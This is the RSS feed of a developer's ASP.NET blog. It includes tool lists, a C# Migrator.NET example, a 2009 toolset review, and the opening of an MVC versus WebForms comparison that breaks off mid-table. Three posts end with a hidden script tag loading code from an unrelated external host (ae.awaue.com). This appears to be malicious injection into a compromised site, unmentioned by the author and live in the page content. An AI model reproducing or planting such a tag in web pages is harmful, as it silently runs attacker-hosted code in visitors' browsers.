<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Polerecky &#187; ASP.NET</title>
	<atom:link href="http://eric.polerecky.com/archives/category/microsoft/aspnet/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Tools I want to use more</title>
		<link>http://eric.polerecky.com/archives/tools-i-want-to-use-more/</link>
		<comments>http://eric.polerecky.com/archives/tools-i-want-to-use-more/#comments</comments>
		<pubDate>Thu, 04 Jun 2009 17:05:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[ASP.NET MVC Futures]]></category>
		<category><![CDATA[MEF]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[ndepend]]></category>
		<category><![CDATA[nhibernate]]></category>
		<category><![CDATA[nunit]]></category>
		<category><![CDATA[resharper]]></category>
		<category><![CDATA[ndpend]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/tools-i-want-to-use-more/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>As a follow up to my tools post here is a list of the tools I’d like to spend more time with. The % next to the title is an estimation as the likelihood I’ll do any serious work with the tool/software/etc.
ReSharper – 20%
http://www.jetbrains.com/resharper/
Simply put, ReSharper is a must-have productivity tool for .NET developers. It


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p>As a follow up to my tools post here is a list of the tools I’d like to spend more time with. The % next to the title is an estimation as the likelihood I’ll do any serious work with the tool/software/etc.</p>
<h3 class="underline shift">ReSharper – 20%</h3>
<p><a title="http://www.jetbrains.com/resharper/" href="http://www.jetbrains.com/resharper/">http://www.jetbrains.com/resharper/</a></p>
<p>Simply put, ReSharper is a must-have productivity tool for .NET developers. It fully integrates with Visual Studio to intelligently and powerfully extend the functionality that is native to Visual Studio. ReSharper provides solution-wide error highlighting on the fly, instant solutions for found errors, over 30 advanced code refactorings, superior unit testing tools, handy navigation and search features, single-click code formatting and cleanup, automatic code generation and templates, and a lot more productivity features for C#, VB.NET, ASP.NET, XML, and XAML.</p>
<h3>NDepend – 10%</h3>
<p><a href="http://www.ndepend.com/">http://www.ndepend.com/</a></p>
<p><span style="font-family: arial; color: rgb(89,124,176); font-size: 10pt" id="ctl00_MyContentPH_Label1"><font color="#000000">NDepend is a tool that simplifies managing a complex .NET code base. Architects and developers can analyze code structure, specify design rules, plan massive refactoring, do effective code reviews and master evolution by comparing different versions of the code. </font></span></p>
<h3><font color="#000000">C# – 70%</font></h3>
<p><a href="http://msdn.microsoft.com/en-us/vcsharp/default.aspx">http://msdn.microsoft.com/en-us/vcsharp/default.aspx</a></p>
<h3>NHibernate – 80%</h3>
<p><a href="https://www.hibernate.org/343.html">https://www.hibernate.org/343.html</a></p>
<p><span style="color: rgb(204,0,0)">NHibernate</span> is a port of <a href="https://www.hibernate.org/344.html"><u><font color="#0066cc">Hibernate Core</font></u></a> for Java to the .NET Framework. It handles persisting plain .NET objects to and from an underlying relational database. Given an XML description of your entities and relationships, <span style="color: rgb(204,0,0)">NHibernate</span> automatically generates SQL for loading and storing the objects. Optionally, you can describe your mapping metadata with attributes in your source code.</p>
<h3>NUnit – 20%</h3>
<p><a href="http://www.nunit.org/index.php">http://www.nunit.org/index.php</a></p>
<p>NUnit is a unit-testing framework for all .Net languages. Initially ported from <a href="http://www.junit.org/" target="_self"><u><font color="#0066cc">JUnit</font></u></a>, the current production release, version 2.4, is the fifth major release of this xUnit based unit testing tool for Microsoft .NET. It is written entirely in C# and has been completely redesigned to take advantage of many .NET language features, for example custom attributes and other reflection related capabilities. NUnit brings xUnit to all .NET languages.</p>
<p> <span id="ctl00_ctl00_MasterContent_Content_wikiSourceLabel"><br />
<h3>MEF – 60%</h3>
<p><span id="ctl00_ctl00_MasterContent_Content_wikiSourceLabel"><a href="http://www.codeplex.com/MEF">http://www.codeplex.com/MEF</a></span></p>
<p><span>The Managed Extensibility Framework (MEF) is a new library in .NET that enables greater reuse of applications and components. Using MEF, .NET applications can make the shift from being statically compiled to dynamically composed. If you are building extensible applications, extensible frameworks and application extensions, then MEF is for you.</span></p>
<h3>DDD – 100%</h3>
</p>
<p> </span><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/tools-i-want-to-use-more/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Creating a Rails-like development environment in .NET</title>
		<link>http://eric.polerecky.com/archives/creating-a-rails-like-development-environment-in-net/</link>
		<comments>http://eric.polerecky.com/archives/creating-a-rails-like-development-environment-in-net/#comments</comments>
		<pubDate>Thu, 04 Jun 2009 14:31:32 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[Rails]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/creating-a-rails-like-development-environment-in-net/</guid>
		<description><![CDATA[<br/>Curtis Mitchell recently posted the slides from a presentation entitled Rails-like ASP.NET Development. Its great to see more people thinking about the tools and technology they use. I found a tool in the slides that I am unfamiliar with called Migrator.NET
Database migrations for .NET. Based on the idea of Rails ActiveRecord Migrations. 
Supported Databases 

MySQL


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>Curtis Mitchell recently posted the <a href="http://www.curtismitchell.com/2b/?p=86" target="_blank">slides from a presentation entitled Rails-like ASP.NET Development</a>. Its great to see more people thinking about the tools and technology they use. I found a tool in the slides that I am unfamiliar with called Migrator.NET</p>
<p>Database migrations for .NET. Based on the idea of Rails ActiveRecord Migrations. </p>
<p>Supported Databases </p>
<ul>
<li>MySQL </li>
<li>Oracle (not well tested?) </li>
<li>PostgreSQL </li>
<li>SQLite </li>
<li>SQL Server </li>
</ul>
<p>Supported Modes </p>
<ul>
<li><a href="http://code.google.com/p/migratordotnet/wiki/NAntTask">NAntTask</a></li>
<li><a href="http://code.google.com/p/migratordotnet/wiki/MSBuildTarget">MSBuildTarget</a></li>
<li>Console Application (You should be using an automation tool! <img src='http://eric.polerecky.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ) </li>
</ul>
<p>&#160;</p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span><span class="kwrd">using</span> Migrator.Framework;</pre>
<pre><span class="lnum">   2:  </span><span class="kwrd">using</span> System.Data;</pre>
<pre class="alt"><span class="lnum">   3:  </span>&#160;</pre>
<pre><span class="lnum">   4:  </span><span class="kwrd">namespace</span> DBMigration</pre>
<pre class="alt"><span class="lnum">   5:  </span>{</pre>
<pre><span class="lnum">   6:  </span>        [Migration(20080401110402)]</pre>
<pre class="alt"><span class="lnum">   7:  </span>        <span class="kwrd">public</span> <span class="kwrd">class</span> CreateUserTable_001 : Migration</pre>
<pre><span class="lnum">   8:  </span>        {</pre>
<pre class="alt"><span class="lnum">   9:  </span>                <span class="kwrd">public</span> <span class="kwrd">void</span> Up()</pre>
<pre><span class="lnum">  10:  </span>                {</pre>
<pre class="alt"><span class="lnum">  11:  </span>                        Database.CreateTable(<span class="str">&quot;User&quot;</span>,</pre>
<pre><span class="lnum">  12:  </span>                                <span class="kwrd">new</span> Column(<span class="str">&quot;UserId&quot;</span>, DbType.Int32, ColumnProperties.PrimaryKeyWithIdentity),</pre>
<pre class="alt"><span class="lnum">  13:  </span>                                <span class="kwrd">new</span> Column(<span class="str">&quot;Username&quot;</span>, DbType.AnsiString, 25)</pre>
<pre><span class="lnum">  14:  </span>                                );</pre>
<pre class="alt"><span class="lnum">  15:  </span>                }</pre>
<pre><span class="lnum">  16:  </span>&#160;</pre>
<pre class="alt"><span class="lnum">  17:  </span>                <span class="kwrd">public</span> <span class="kwrd">void</span> Down()</pre>
<pre><span class="lnum">  18:  </span>                {</pre>
<pre class="alt"><span class="lnum">  19:  </span>                        Database.RemoveTable(<span class="str">&quot;User&quot;</span>);</pre>
<pre><span class="lnum">  20:  </span>                }</pre>
<pre class="alt"><span class="lnum">  21:  </span>        }</pre>
<pre><span class="lnum">  22:  </span>}</pre>
</div>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/creating-a-rails-like-development-environment-in-net/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Toolset 2009</title>
		<link>http://eric.polerecky.com/archives/toolset-2009/</link>
		<comments>http://eric.polerecky.com/archives/toolset-2009/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 17:00:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[ASP.NET MVC Futures]]></category>
		<category><![CDATA[AutoMapper]]></category>
		<category><![CDATA[CruiseControl.NET]]></category>
		<category><![CDATA[Entity Framework]]></category>
		<category><![CDATA[Facebox]]></category>
		<category><![CDATA[Feedreader]]></category>
		<category><![CDATA[FxCop]]></category>
		<category><![CDATA[LINQPad]]></category>
		<category><![CDATA[MSTest]]></category>
		<category><![CDATA[SVN]]></category>
		<category><![CDATA[SourceMonitor]]></category>
		<category><![CDATA[Spark]]></category>
		<category><![CDATA[Unity]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[WebSVN]]></category>
		<category><![CDATA[iTextSharp]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=340</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>Most of my work so far this year has been with one client. This client was a Java shop for quite some time and is pretty green to Microsoft. Also, they don’t seem to ever have had real success with building enterprise class systems. That’s not to say that they haven’t wrote very large and


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/a-completely-biased-comparison-of-aspnet-mvc-and-webforms/' rel='bookmark' title='Permanent Link: A completely biased comparison of ASP.NET MVC and Webforms'>A completely biased comparison of ASP.NET MVC and Webforms</a> <small>I have to admit I am total bias towards MVC...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p>Most of my work so far this year has been with one client. This client was a Java shop for quite some time and is pretty green to Microsoft. Also, they don’t seem to ever have had real success with building enterprise class systems. That’s not to say that they haven’t wrote very large and very complex systems. They have done it all with either the bare minimum in tooling or a incorrect implementation of the tooling.</p>
<p>In fact; one of their primary reasons for moving to .NET was to perform a tooling reset. They decided it was too hard to use technology like OR/M, DI, Messaging, and MVC. The figured that (straight from the horse mouth) “Webforms, ADO.NET and SQL” is all we need. I don’t even understand that statement…anyway…<strong><em>back to the tools</em></strong></p>
<p>Of course I believe this is all based on the improper use of technology. As they say “Any tool can become a weapon if held properly”. unfortunately for me and future developers with this client. The technology that was so frond upon is the tool that….um…well…never mind.</p>
<p>All I am trying to say is that I’ve been pretty tied into some specific Microsoft technology most of the year. Most of the tools on this list had to pass through a standards committee meeting and some are still under the radar…<strong><em>Ok on with the tools!</em></strong></p>
<h6>Visual Studio 2008 (2005, Visual Basic, Dreamweaver)</h6>
<p>Thankfully most of my work is new development so I spend a bulk of my time in Visual Studio 2008. Unfortunately is not TFS so my task tracking is handled outside….if at all. Also there are no productivity plug-ins available, I even asked if I could install my own…so no ReShaper or Visual SVN</p>
<h6>ASP.NET 3.5 SP1 VB.NET</h6>
<p>With most of my work new development I do get to keep up with the .NET version. I am REALLY looking forward to .NET 4 (its just 4 right?…I heard someone from MS flies out and you get your hand slapped if you call it 4.0)</p>
<h6>ASP.NET MVC</h6>
<p>Yeah! what more can I say.</p>
<h6>ASP.NET MVC Futures</h6>
<p>This one has not passed through the development standards committee yet but since I also sit on the committee I don’t think it will be much of a fight. Really I only use it for Html.RenderAction</p>
<h6>WCF</h6>
<p>The tooling is rough but the technology is solid. I am really happy with WCF and hope it infects my clients….but I feel that will stick with asmx for a few more YEARS….</p>
<h6>EF</h6>
<p>I am just not ready to fight for Nhibernate just yet…I have a new project starting around the 20th, as with every new project I try to push through one new technology. I think this one will finally get a OR/M.</p>
<p>I do like where MS is going with EF and look forward to EF 4, isn’t that what its called in .NET 4.0?, but as much as I work with EF 1 ….man its rough. I’ve often considered using Linq2Sql and building on top ala <a href="http://blog.wekeroad.com/category/mvc-storefront" target="_blank">Rob Conery’s MVC Storefront</a>.</p>
<h6>AutoMapper</h6>
<p><span id="ctl00_ctl00_MasterContent_Content_wikiSourceLabel">A convention-based object-object mapper.      </p>
<p>AutoMapper uses a fluent configuration API to define an object-object mapping strategy. AutoMapper uses a convention-based matching algorithm to match up source to destination values. Currently, AutoMapper is geared towards model projection scenarios to flatten complex object models to DTOs and other simple objects, whose design is better suited for serialization, communication, messaging, or simply an anti-corruption layer between the domain and application layer.</span></p>
<h6>iTextSharp</h6>
<p><a href="http://itextsharp.sourceforge.net/" target="_blank">iTextSharp</a> is a port of the <a href="http://www.lowagie.com/iText/" target="_blank"><u><font color="#0066cc">iText, a free Java-Pdf library</font></u></a>.</p>
<h6>Unity</h6>
<p><span id="ctl00_ctl00_MasterContent_Content_wikiSourceLabel">The <a href="http://codeplex.com/unity" target="_blank">Unity Application Block (Unity)</a> is a lightweight extensible dependency injection container with support for constructor, property, and method call injection.</span></p>
<h6>MSTest (unit testing)</h6>
<p>Still using the default unit testing framework. Right now I am really focused on getting more developers to write tests…anything…please. Really; there are no tests. Functional testing by non-technical people is NOT testing. Crap…I feel another post coming on…</p>
<h6>LINQPad</h6>
<p>I am a big fan of LINQ!</p>
<p><b><a href="http://www.linqpad.net/" target="_blank">LINQPad</a></b> lets you interactively query SQL databases in a <i>modern query language</i>: <b>LINQ.&#160; </b>Kiss goodbye to SQL Management Studio!</p>
<p>LINQPad supports everything in C# 3.0 and Framework 3.5:</p>
<ul>
<li>LINQ to Objects </li>
<li>LINQ to SQL </li>
<li>Entity Framework </li>
<li>LINQ to XML </li>
</ul>
<h6>Spark View Engine</h6>
<p><a href="http://sparkviewengine.com/" target="_blank">Spark</a> is a view engine for <a href="http://www.asp.net/mvc/" target="_blank">Asp.Net Mvc</a> and Castle Project MonoRail frameworks. The idea is to allow the html to dominate the flow and the code to fit seamlessly.</p>
<p>It should be noted that I am pretty new to spark and I am testing it in some personal projects to see if its worth bringing into a client. BUT the client has a strict VB only stance…so my testing will not only be standard spark stuff but doing so in a VB.NET MVC project….check out the videos.</p>
<h6>jQuery</h6>
<p><a href="http://jquery.com/" target="_blank">jQuery</a> is a fast and concise JavaScript Library that simplifies HTML document traversing, event handling, animating, and Ajax interactions for rapid web development. <strong><a href="http://jquery.com/" target="_blank">jQuery</a> is designed to change the way that you write JavaScript.</strong></p>
<p>I am a JavaScript nut…primarrly <strong><a href="http://jquery.com/" target="_blank">jQuery</a></strong> and <a href="http://www.dojotoolkit.org/" target="_blank">Dojo</a>…really happy to see it in MVC because it was denied by my largest client until it started coming out of File-&gt;New Project…..Thanks Microsoft</p>
<h6>jQuery Facebox w/ homegrown iframe support</h6>
<p><a href="http://famspam.com/facebox" target="_blank">Facebox</a> is a jQuery-based, Facebook-style lightbox which can display images, divs, or entire remote pages. It&#8217;s simple to use and easy on the eyes. </p>
<p>Bringing in modals was a lot of work; demos, meetings, documents, etc….we went with thickbox….I am using facebox with support for iframe content.</p>
<h6>CruiseControl.NET</h6>
<p><b><a href="http://confluence.public.thoughtworks.org/display/CCNET/Welcome+to+CruiseControl.NET" target="_blank">CruiseControl.NET</a></b> is an Automated Continuous Integration server, implemented using the Microsoft .NET Framework. Again; under the radar…I have a ccnet server running on my desktop…</p>
<h6>FxCop</h6>
<p>FxCop is an application that analyzes managed code assemblies (code that targets the .NET Framework common language runtime) and reports information about the assemblies, such as possible design, localization, performance, and security improvements.</p>
<h6>SVN</h6>
<p><strong>Subversion</strong> (<b>SVN</b>) is a <a title="Revision control" href="http://en.wikipedia.org/wiki/Revision_control"><u><font color="#0066cc">version control</font></u></a> system initiated in 2000 by <a title="CollabNet" href="http://en.wikipedia.org/wiki/CollabNet"><u><font color="#0066cc">CollabNet</font></u></a> Inc. It is used to maintain current and historical versions of files such as <a title="Source code" href="http://en.wikipedia.org/wiki/Source_code"><u><font color="#0066cc">source code</font></u></a>, web pages, and documentation. Its goal is to be a mostly-compatible successor to the widely used <a title="Concurrent Versions System" href="http://en.wikipedia.org/wiki/Concurrent_Versions_System"><u><font color="#0066cc">Concurrent Versions System</font></u></a> (CVS).</p>
<p>BUT…its 1.3.2….and it has pretty limited support for merges…..ugh…I think you get the picture by now….</p>
<h6>WebSVN</h6>
<p><a href="http://www.websvn.info/" target="_blank">WebSVN</a> offers a view onto your subversion repositories that&#8217;s been designed to reflect the Subversion methodology. You can view the log of any file or directory and see a list of all the files changed, added or deleted in any given revision. You can also view the differences between two versions of a file so as to see exactly what was changed in a particular revision.</p>
<p><a href="http://www.websvn.info/" target="_blank">WebSVN</a> offers the following features:</p>
<ul>
<li>Easy to use interface </li>
<li>Customisable templating system </li>
<li>Colourisation of file listings </li>
<li>Blame view </li>
<li>Log message searching </li>
<li>RSS feed support </li>
<li><a href="http://www.websvn.info/features/"><u><font color="#0066cc">and more&#8230;</font></u></a> </li>
</ul>
<p>And best of all….something about radar…</p>
<h6>Feedreader</h6>
<p>I use <a href="http://www.feedreader.com/download" target="_blank">feedreader</a> to monitor the RSS feeds from WebSVN. This way I know what is going on with my teams projects and&#160; other teams projects which my programs are dependant</p>
<h6>SourceMonitor</h6>
<p><font face="Georgia"><a href="http://www.campwoodsw.com/sourcemonitor.html" target="_blank">SourceMonitor</a> lets you see inside your software source code to find out how much code you have and to identify the relative complexity of your modules. For example, you can use SourceMonitor to identify the code that is most likely to contain defects and thus warrants formal review</font></p>
<ul>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Collects metrics in a fast, single pass through source files.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Measures metrics for source code written in C++, C, C#, VB.NET, Java, Delphi, Visual Basic (VB6) or HTML.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Includes method and function level metrics for C++, C, C#, VB.NET, Java, and Delphi. </font></li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Saves metrics in checkpoints for comparison during software development projects.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Displays and prints metrics in tables and charts.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Operates within a standard Windows GUI or inside your scripts using XML command files.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Exports metrics to XML or CSV (comma-separated-value) files for further processing with other tools.</font> </li>
</ul>
<h1>Conclusion</h1>
<p>I am one stealthy developer…you would think that since I am on the committee that defines developer standards most of these items would be known, understood, or used…..or maybe you think I’m not demoing, teaching, preaching, or begging…well if you think that you don’t know me <img src='http://eric.polerecky.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I am shouting, arguing, and fighting…..ugh…</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/a-completely-biased-comparison-of-aspnet-mvc-and-webforms/' rel='bookmark' title='Permanent Link: A completely biased comparison of ASP.NET MVC and Webforms'>A completely biased comparison of ASP.NET MVC and Webforms</a> <small>I have to admit I am total bias towards MVC...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/toolset-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A somewhat less biases comparison of MVP and MVC</title>
		<link>http://eric.polerecky.com/archives/a-somewhat-less-biases-comparison-of-mvp-and-mvc/</link>
		<comments>http://eric.polerecky.com/archives/a-somewhat-less-biases-comparison-of-mvp-and-mvc/#comments</comments>
		<pubDate>Wed, 20 May 2009 20:40:04 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[WebForms]]></category>
		<category><![CDATA[mvc]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/a-somewhat-less-biases-comparison-of-mvp-and-mvc/</guid>
		<description><![CDATA[<br/>What is it called?
First off; what are we calling “Classic ASP.NET Development using Webforms and the MVP Pattern” today? I’d like to suggest we stick with a discussion of the patterns and the surrounding technology. 
Component based development using the MVP pattern…or MVP for short  
and
Non-Component based development using the MVC pattern…or MVC for


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><h2>What is it called?</h2>
<p>First off; what are we calling “Classic ASP.NET Development using Webforms and the MVP Pattern” today? I’d like to suggest we stick with a discussion of the patterns and the surrounding technology. </p>
<p>Component based development using the MVP pattern…or MVP for short <img src='http://eric.polerecky.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>and</p>
<p>Non-Component based development using the MVC pattern…or MVC for short <img src='http://eric.polerecky.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>And I am aware that there are companies working on MVC components/html helpers…so what else are we going to call it? Then again you might be write…what % of “Webforms” developers are using the MVP pattern? 5%?…hmmm…anyway I am sticking with MVC and MVP until I read something better on stackoverflow.com</p>
<h2>Don’t be such an ass</h2>
<p>Here is the document that I presented to a client when they asked for…well a comparison of “Classic ASP.NET Development using Webforms” and “MVC”</p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Introduction
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">In the .NET world the MVC pattern is relatively new but it has been the staple development architecture for Java and Ruby for over a decade. Most of the current the debate between what technology is “better” is argued from a developer’s point of view. While the technical underpinnings of a technology can often translate to the projects success; I feel that both WebForms and MVC are mature enough that most projects will do fine with either.
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">ASP.NET WebForms
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Through the abstraction of HTML, CSS, and JavaScript; ASP.NET WebForms attempts to recreate the experience of developing a desktop application. The entire HTTP protocol is successfully abstracted away and developers are present with a faux statefulness that mimics desktop applications. Development teams are able to use a WYSIWIG style of development.
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">ASP.NET MVC
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Out of the box ASP.NET MVC forces developers to understand HTML, CSS, and JavaScript. There is little to no abstraction which can be a double edged sword. On one hand your development team has access to the raw power of the markup &amp; languages that make up the web. On the other; if your development team is not experienced with HTML, CSS, and JavaScript there might be a learning curve.
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Decision Matrix
</p>
<p>   </span></p>
<p>
<table class="MsoNormalTable" style="margin: auto auto auto 4.65pt; width: 504.75pt; border-collapse: collapse; mso-padding-alt: 0in 5.4pt 0in 5.4pt" cellspacing="0" cellpadding="0" width="673" border="0">
<tbody>
<tr style="height: 12.75pt; mso-yfti-irow: 0; mso-yfti-firstrow: yes">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 12.75pt; background-color: transparent" valign="bottom" nowrap="nowrap" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Number
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 12.75pt; background-color: transparent" valign="bottom" nowrap="nowrap" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Topic
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 12.75pt; background-color: transparent" valign="bottom" nowrap="nowrap" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">ASP WebForms
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 12.75pt; background-color: transparent" valign="bottom" nowrap="nowrap" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">ASP.NET MVC
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 19.35pt; mso-yfti-irow: 1">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 19.35pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">1
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 19.35pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Size, Extensibility, Maintainability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 19.35pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project is small and your team is not experienced with MVC
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 19.35pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project is large (experience with MVC not required)
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 21.15pt; mso-yfti-irow: 2">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 21.15pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">2
</p>
<p>             </span></p>
</td>
